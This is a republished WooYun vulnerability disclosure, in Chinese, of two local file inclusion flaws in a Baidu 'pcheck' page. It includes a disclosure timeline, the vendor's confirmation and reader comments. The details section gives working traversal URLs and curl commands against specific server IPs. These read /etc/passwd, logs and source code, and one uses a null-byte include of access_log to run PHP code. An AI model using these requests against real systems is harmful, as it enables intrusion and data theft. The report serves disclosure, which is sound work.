百度两处本地任意文件包含漏洞（证明可执行PHP代码）

2017年4月20日23:31:23评论598 views字数 212阅读0分42秒阅读模式

摘要

2016-04-07：细节已通知厂商并且等待厂商处理中
2016-04-07：厂商已经确认，细节仅向厂商公开
2016-04-17：细节向核心白帽子及相关领域专家公开
2016-04-27：细节向普通白帽子公开
2016-05-07：细节向实习白帽子公开
2016-05-22：细节向公众公开

漏洞概要关注数(25) 关注此漏洞

缺陷编号： WooYun-2016-193384

漏洞标题：百度两处本地任意文件包含漏洞（证明可执行PHP代码）

漏洞作者：海绵宝宝

提交时间： 2016-04-07 11:53

公开时间： 2016-05-22 13:30

漏洞类型：敏感信息泄露

危害等级：中

自评Rank： 10

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：敏感信息泄漏

4人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

code 区域

http://180.97.33.195/pcheck/index.php?action=showPcheck&report=../../../../../../../../../../etc/passwd

code 区域

http://180.97.36.23/pcheck/index.php?action=showPcheck&report=../../../../../../../../../../etc/passwd

curl "http://180.97.33.195/pcheck/index.php?action=showPcheck&report=../../../../../../../../../../home/img/odp/log/access_log"

读取log

curl "http://180.97.33.195/pcheck/index.php?action=showPcheck&report=../../../../../../../../../../home/img/odp/webroot/pcheck/index.php"

读取源码

curl "http://180.97.33.195/pcheck/index.php?action=../../../../../../../../../../home/img/odp/log/access_log%00&report=1"

利用access_log执行PHP代码

漏洞证明：

代码执行效果

将返回信息进行html话呈现

修复方案：

版权声明：转载请注明来源海绵宝宝@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-04-07 13:26

厂商回复：

非常感谢您的报告，问题已着手处理，感谢您对百度安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-04-07 13:01 | 紫霞仙子 ( 普通白帽子 | Rank:2302 漏洞数:113 | 没好团队，啥都干不成！！！)

1

@子非海绵宝宝这你兄弟么？

1# 回复此人
2016-04-07 13:02 | 海绵宝宝 ( 普通白帽子 | Rank:369 漏洞数:56 | 唯有梦想与好姑娘不可辜负.)

1

谢谢 @狗狗侠的利用姿势

2# 回复此人
2016-04-07 13:48 | 子非海绵宝宝 ( 核心白帽子 | Rank:1413 漏洞数:143 | 发扬海绵宝宝的精神! 你不是海绵宝宝,你怎...)

1

@紫霞仙子人家注册比我早是我的前辈

3# 回复此人

漏洞概要 关注数(25) 关注此漏洞

缺陷编号： WooYun-2016-193384

漏洞标题： 百度两处本地任意文件包含漏洞（证明可执行PHP代码）

相关厂商： 百度

漏洞作者： 海绵宝宝